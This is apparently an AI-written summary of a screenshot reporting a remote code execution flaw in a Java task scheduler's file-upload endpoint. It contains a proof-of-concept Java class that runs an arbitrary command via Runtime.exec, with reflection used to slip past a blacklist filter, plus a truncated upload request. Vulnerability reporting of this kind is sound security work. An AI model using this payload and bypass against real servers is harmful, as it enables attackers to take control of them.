From this webpage screenshot, the following key information about the vulnerability can be obtained: - **Vulnerability Type**: Remote Code Execution (RCE). - **Exploitation Method**: - Java files can be uploaded and executed. - There is a blacklist-based file restriction, but it can be bypassed using simple string obfuscation. - **Example Code**: ```java package com.qyscheduler.task; public class Test extends BaseTask { static final long serialVersionUID = 1L; @Override public void execute() { try { String cmd = "your command"; Process p = Runtime.getRuntime().exec(cmd); Object o = Class.forName("java.lang.Process").cast(p); Method m = o.getClass().getMethod("waitFor"); m.invoke(o); } catch (Exception e) { e.printStackTrace(); } } } ``` - **HTTP Request Example**: ```http POST /api/task/upload HTTP/1.1 Host: 127.0.0.1:8081 ... Content-Type: multipart/form-data; boundary=--------------------------354690200000000000000000 ... ``` - **Successful Verification**: - A calculator was successfully launched, confirming the successful exploitation of the RCE vulnerability. This information indicates that the system has a severe security vulnerability, allowing attackers to gain control of the server by uploading and executing malicious Java code.